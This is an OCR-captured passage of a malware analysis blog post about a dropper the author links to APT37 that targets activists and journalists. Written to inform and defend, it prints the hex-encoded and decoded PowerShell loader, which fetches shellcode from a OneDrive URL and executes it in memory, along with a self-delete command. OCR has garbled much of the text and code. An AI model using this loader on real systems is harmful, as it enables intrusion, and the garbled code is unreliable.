eax, [esp+lF2Bh+var_1FB3]
eax 3 Stream
__wfopen_s

eax, [espt+lF2Cht+var 1F@8]
esp, BCh

eax, eax

short loc_E316A2

el 4 2= % 3171 9isto g3t ol AU e WUE ST,

[‘ |

100.00% {(—-€,€771) (1060,14&) 00000LE2 O0E31662: WinMain(x,x,x:,x:)+3F2 (Synchronized w
Hex View-1 @ . Pseudocode-G
a8 68 BB 08 B0 B0 BB B8 08 BB B BB BB BB BB BB ... ... i e aan
a8 68 BB 08 BB B2 BB BB B8 BB B BB BB BB BB BB .. .......i e
ae BB BB 08 BB B8 BB BB 08 BB B8 BB BB BB BB BB ... .. ...
a8 B8 BB 68 B0 B8 BB BB 00 B8P B8 BB BB BB BB BB . ... ... ... e
E B0 3A @0 S5C B8 55 80 73 90 65 89 72 88 73 88 C.:.h\.U.s.e.r.s.
@15CEELe 5C @@ 55 @8 73 @8 65 @@ 72 6@ 5C 80 41 @8 78 @8 \.U.s.e.r.\.A.p.
G1SCEE28 7@ 66 44 08 6l @6 74 @@ 61 60 5C 80 4C @8 6F @@ p.D.a.t.a.\.L.o.
@1SCEE32 63 88 61 @8 AC 8B 5C @@ 54 60 65 80 6D @8 78 88 c.a.l.)\.T.e.m.p.
B15CEE4E 5C @9 31 60 30 80 39 0@ 36 80 36 66 33 80 34 88 1\.1.8.9.6.6.3.4.
B15CEESE 368 8P 36 B@ 2E 88 B2 BB Bl BB 74 68 B8 G@ @8 B8 B0.6...b.a.t.....
AT CrCDCim S = R Er = N N N N R N Y AT T

The content of the BAT script is then written using fwrlte where a Powershell script is written
from a buffer contained in the binary.
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.data

.data

.data

.data

.data

.data:
.data:
.data:
.data:
.data:
.data:

BaaCESTe
BaaCEI8e
BaaCEI8e
BaaCEI8e
BaaCEI8e
BaaCEI8e

1 BBaCE938
.data:
.data:

BaaCEI8e
BaaCEI8e

1 BBaCE938
.data:
.data:

BaaCEI8e
BaaCEI8e

1 BBaCE938
.data:
.data:

BeaCESBe
BeaCESBe

1 BBaCE938
.data:
.data:

BeaCESBe
BeaCESBe

1 BBaCE938
.data:
.data:

BeaCESBe
eeaCESBe

aStyleHiddenCom db

db

ANAT/STA AANCE AT -

This is followed by a ShellExecuteW caII W|th bommand open of the BAT script.

; sub B19AB+54tw

Eet$empPathw{Bx4@9u, File};

TickCounted
wsprintfW({File,
_wfopen_

s(&v43,

if ( va3 )

1

= GetTickCount64();

L"¥%sXu.bat", File, TickCount&4);
File, L™wb™};

fwrite(&xmnjvord CE948, 1u, @xCAGu, v43);
fclose{v43);

ShellExecuteW(®, L"open™, File, @, @, @);

Opening the full contents of the BAT script, we see the following script is executed:

'style hidden -command "$qwts ="$pas2="""5BAE6ST42ES36572766963655"
'@6FBI6E744D616E616765725D3A3A5365637572697479587 26F 746F636F6C3D5B "
'456E756D5D3A3A546F4F626A656374285B4E65742E536563757269747958726F7 "
'46FB36FRC54797865502C26833303732293824616130275B446C6C496D7AEF 7274 "
'28226B65726E656C33322E646C6C2229507075626C69632073746174696328657 "
'87465726E20496E7450747220476C6F62616C416C6C6F632875696E7420622C75"
'696E7420632938273B824623D4164642054797065202D4D656D62657 2446566696 "
'E6974696F6E202461612682D4E616D652022414141222026205861737354687275 "
'3B2461626162283D20275B446C6C496D786F727428226B65726E656C33322E646 "
"C6C22295D707562606963207374617469632065787465726E20626F6FEC205669 "
'727475616C58726F7465637428496E7458747220612C75696E7420622C75696E7 "
'420632C6F757420496E7450747220642938273824616162304164642D54797065 "
' 282D4D656D626572446566696E6974696FEE202461626162202D4E616D6520224 °
"1414222202D50617373546872753B2463203D204E65772D4F626A656374205379 "
*7374656D2E4ERST42E576562436069656E743824643D2268747470733A2F2F617 "
'@692EGFRERSRA726976652E636F6D2FT6312E302F7368617265732F7521614852"
'3863484D364C7938785A4B4A324C6D317A4C335576637946426146464E5544546°
'CSATAGBGB556B5A694E3073564D554E585132597A654535765646555F5A543177 "
'S5A326C6961554D2F726F6F742F636F6E74656E74223B2462623D275B8446C6C496"°
'DVO6F727428226B65726E656C33322E6460C6C2229507075626C69632073746174 "
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c:\\Windows\\Syswow64\\cmd.exe /c powershell -windowstyle hidden -command "$qwts

="$pas2="""5B4E65742E53657276696365506F696E744D616E616765725D3A3A53656375726974795026

F746F636F6C3D5B456E756D5D3A3A546F4F626A656374285B4E65742E536563757269747950726F746
F636F6C547970655D2C2033303732293B2461613D275B446C6C496D706F727428226B65726E656C3332
E646C6C22295D7075626C6963207374617469632065787465726E20496E7450747220476C6F62616C41
C6C6F632875696E7420622C75696E742063293B273B24623D4164642D54797065202D4D656D62657244
566696E6974696F6E20246161202D4E616D6520224141412220202D50617373546872753B2461626162
03D20275B446C6C496D706F727428226B65726E656C33322E646C6C22295D7075626C69632073746174
9632065787465726E20626F6F6C205669727475616C50726F7465637428496E7450747220612C75696E
420622C75696E7420632C6F757420496E745074722064293B273B246161623D4164642D54797065202D
D656D626572446566696E6974696F6E202461626162202D4E616D65202241414222202D50617373546
72753B2463203D204E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E743B24
43D2268747470733A2F2F6170692E6F6E6564726976652E636F6D2F76312E302F7368617265732F752
6148523063484D364C7938785A484A324C6D317A4C335576637946426146464E55445A6C5A7A686855
B5A694E3078564D554E505132597A654535765646555F5A5431775A326C6961554D2F726F6F742F636
6E74656E74223B2462623D275B446C6C496D706F727428226B65726E656C33322E646C6C22295D7075
26C6963207374617469632065787465726E20496E745074722043726561746554687265616428496E7
50747220612C75696E7420622C496E7450747220632C496E7450747220642C75696E7420652C496E74
074722066293B273B246363633D4164642D54797065202D4D656D626572446566696E6974696F6E202
6262202D4E616D65202242424222202D50617373546872753B246464643D275B446C6C496D706F7274
8226B65726E656C33322E646C6C22295D7075626C6963207374617469632065787465726E20496E745
74722057616974466F7253696E676C654F626A65637428496E7450747220612C75696E742062293B27
B246666663D4164642D54797065202D4D656D626572446566696E6974696F6E2024646464202D4E616
65202244444422202D50617373546872753B24653D3131323B646F207B2020747279207B2024632E48
561646572735B22757365722D6167656E74225D203D2022636F6EGEGE656374696E672E2E2E223B247
6D7077343D24632E446F776E6C6F616444617461282464293B247830203D2024623A3A476C6F62616C
16C6C6F63283078303034302C2024786D7077342E4C656E6774682B3078313030293B246F6C64203D2
303B246161623A3A5669727475616C50726F74656374282478302C2024786D7077342E4C656E677468
B30783130302C20307834302C205B7265665D246F6C64293B666F7220282468203D20313B2468202D6
742024786D7077342E4C656E6774683B24682B2B29207B5B53797374656D2E52756E74696D652E496E
465726F7053657276696365732E4D61727368616C5D3A3A577269746542797465282478302C2024682
312C202824786D7077345B24685D202D62786F722024786D7077345B305D2920293B7D3B7472797B74
8726F7720313B7D63617463687B2468616E646C653D246363633A3A437265617465546872656164283
2C302C2478302C302C302C30293B246666663A3A57616974466F7253696E676C654F626A6563742824
8616E646C652C203530302A31303030293B7D3B24653D3232323B7D63617463687B736C65657020313
3B24653D3131323B7D7D7768696C65282465202D657120313132293B""" ; $mdnp=""""""; for ($1=0;
i -le $pas2.Length-2;$i=$i+2) {$NTMO=$pas2[$i]+$pas2[$i+1];$mdnp= $mdnp+[char
([convert]::toint16($NTMO,16));}; Invoke-Command -ScriptBlock
([Scriptblock]::Create($mdnp));";Invoke-Command -ScriptBlock
([Scriptblock]::Create($qwts));"

Decoded this results in:
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[Net.ServicePointManager]::SecurityProtocol=
[Enum]::ToObject([Net.SecurityProtocolType], 3072);
$aa="'[DllImport("kernel32.d11")]Jpublic static extern IntPtr GlobalAlloc(uint b,uint
c);";
$b=Add-Type -MemberDefinition $aa -Name "AAA" -PassThru;
$abab = '[DllImport("kernel32.dl1")]public static extern bool VirtualProtect(IntPtr
a,uint b,uint c,out IntPtr d);';
$aab=Add-Type -MemberDefinition $abab -Name "AAB" -PassThru;
$c = New-Object System.Net.webClient;
$d="https://api.onedrive.com/v1.0/shares/u!aHROCHM6LY8xZHJ2Lm1zL3UvcyFBaFFNUDZ1ZzhhUk
ZiNOXVMUNPQ2YzeE5VVFU_ZT1wz21liaUM/root/content";
$bb="'[D11lImport("kernel32.d11")]Jpublic static extern IntPtr CreateThread(IntPtr
a,uint b, IntPtr c,IntPtr d,uint e, IntPtr f);"';
$ccc=Add-Type -MemberDefinition $bb -Name "BBB" -PassThru;
$ddd="[D1l1lImport("kernel32.d1l1")]public static extern IntPtr
WaitForSingleObject(IntPtr a,uint b);'; $fff=Add-Type -MemberDefinition $ddd -Name
"DDD" -PassThru; $e=112;

do {

try {

$c.Headers["user-agent"] = "connnecting...";

$xmpw4=$c.DownloadData($d);

$x0 = $b::GlobalAlloc(0x0040, $xmpw4.Length+0x100);

$old = 0;

$aab::VirtualProtect($x0, $xmpw4d.Length+0x100, O0x40, [ref]$old);

for ($h = 1; $h -1t $xmpwd.Length; $h++)
{[System.Runtime.InteropServices.Marshal]::WriteByte($x0, $h-1, ($xmpw4[$h] -bxor
$xmpwa[0]) );

+

try{throw 1;}

catch{

$handle=$ccc::CreateThread(0,0,%$x0,0,0,0); $fff::WaitForSingleObject($handle,
500*1000);

}

$e=222;}%

catch{

sleep 11;

$e=112;

} } while($e -eq 112);

The victim’s machine will then spawn a command line process which subsequently executes
the PowerShell script. The script will then download and execute a shellcode payload (XOR
encoded using the first byte as a key) stored in Microsoft OneDrive.
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oo [¥Z] svchost.exe | 5988 2.71MB WINDEV2108EVAL\User Host Process f
v e 7088 1.99MB NT AUTHORITY\SYSTEM Windows Con |

)38 powershell -windowstyle hidden -command "Sqwts ="Spas2="""5B4E65742E53657276696365506F696E744D616E6
El 8 16765725D3A3A536563757269747950726F746F636F6C3D5B456E756D5D3A3A546F4F626A656374285B4E65742E536563757
269747950726F746F636F6C547970655D2C2033303732293B2461613D275B446C6C496D706F727428226B65726E656C33322

— E646C6C22295D7075626C6963207374617469632065787465726E20496E7450747220476C6F62616C416CHCOF632875696E7
I";g 420622C75696E742063293B273B24623D4164642D54797065202D4D656D626572446566696E6974696F6E20246161202D4E6
268 16D6520224141412220202D50617373546872753B2461626162203D20275B446C6C496D706F727428226B65726E656C33322
i E646C6C22295D7075626C6963207374617469632065787465726E20626F6F6C205669727475616C50726F7465637428496E7
450747220612C75696E7420622C75696E7420632C6F757420496E7450747220642938273B246161623D4164642D547970652
02D4D656D626572446566696E6974696F6E202461626162202D4E616D65202241414222202D5061737354687275382463203
D204E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E743B24643D2268747470733A2F2F617069...
File:

CAWindows\SysWOW6e4\WindowsPowerShell\v1.0\powershell.exe

Windows PowerShell 10.0.19041.546

Microsoft Corporation
Notes:

Signer: Microsoft Windows

Console host: conhost.exe (5076)

Process is managed (.NET).
g Processis 32-bit (WOWB4).

powershell.exe 516 4429 MB WINDEV2108EVAL\User Windows Pow v

215C]

B E = = (= =1 = E e E E E E

<

CPU Usage: 56.27% Physical memory: 2.14 GB (53.50%) Processes: 151

Following this execution, the section stage shellcode is executed and the dropper calls
vsprintf to execute command line argument “cmd.exe /C ping 1.1.1.1 -n 1 -w 2000 > Nul &
Del /f Iq \”%s\”” to delete itself.

179 } /f fwrite BAT data
(A o 18 ShellExecuted(®, L"open”, File, @, 8, @); // Execute BAT script
® 151 Sleep(@x3E8u);
® 182 memset(&StartupInfo, @, sizeof(StartupInfo));
:2;‘: ® 183 ProcessInformation = @i64;
® 184 GetModuleFileNamew (B, v&e, 8x184u);
Execp| ® 185 callto_vsprintf(CommandLine, 520, L"cmd.exe /C ping 1.1.1.1 -n 1 -w 2008 > Nul & Del /f /fq \"%s\"", vEa);// call vsprintf for self delete
Faand] @ 186 CreateProcess(®, CossandLine, @, @, B, @x8000000u, @, O, &StartupInfo, 8ProcessInformation);// dreate process for self delete
@ 187 CloseHandle(Proc formation.hThread);
tnet | @ 188 Closerandle(P formation.hProcess);
® 189 v16 = (char *)Block[@];
F2h4 190 }

191 }
® 192 | if ( v45 3= 8)
193

F2ah4|

® 194 v26 = FileName[®];
® 195 if (2% v45 4 2 >= @x1000 )
196 {
® 197 V26 = (wehar_t *)*({_DWORD *)FileName[@] - 1};
Faghi| @ 198 if ( (unsigned int)({char *)FileName[®] - (char *)vZ6 - 4) > @x1F )
® 199 goto LABEL_74;
ocess 260 }
Proce] ® 2081 sub_8@2A2E(v26);
seHan 282
Hand 1|
v € msedge.exe 6768

| J notepad++.exe 7640
g P .

=3 1 . anra
At the time of writing, the second stage payload C2 was not live, thus we were unable to

successfully pull the shellcode for analysis.

Conclusion
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During this analysis, | found close parallels and overlaps for this dropper with multiple
samples I'd have received from human rights activists and journalists. Notably, the
PowerShell script is a common utilization of APT37, where the methodology for its execution
may change. This appears to be a common feature of GOLDBACKDOOR'’s dropper.

Human rights activist and journalist who may be targeted by campaigns such as this should
be extra vigilant when receiving documents or executable by message or mail. Droppers like
this, are intended to trick the victim into executing a file that will result in further stages of
malware being delivered to the machine.

If you have been a victim or feel targeted by a threat group, you are welcome to reach out to
me or organizations such as Interlab. If you are ever worried about targeting, or want to
validate anything you think may be a digital threat to you, we welcome you to contact us for
support.

IOC and sample

4270815d05d95¢c9baaf79508a350b504f157e32fba5506b49aebe8e35182e52f

Available on Bazaar or VirusTotal

About this website

I am Ovi, | am an independent researcher. My work is solely related to human & digital rights
activism focusing on reverse engineering, data privacy violations & surveillance from hostile
government and private organizations that threaten humanity. | work with non-profit groups
and directly with those at risk. As an independent researcher, getting my research, work and
writings out can be hard, which is why | created this website. You can read more about this
here. If you feel that you value this work, please consider subscribing, which will allow me to
share my work directly with those who appreciate it without having to work with media
organizations.
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https://interlab.or.kr/?ref=0x0v1.com
https://bazaar.abuse.ch/sample/4270815d05d95c9baaf79508a350b504f157e32fba5506b49aebe8e35182e52f/?ref=0x0v1.com
https://www.virustotal.com/gui/file/4270815d05d95c9baaf79508a350b504f157e32fba5506b49aebe8e35182e52f/community?ref=0x0v1.com
https://www.0x0v1.com/about/

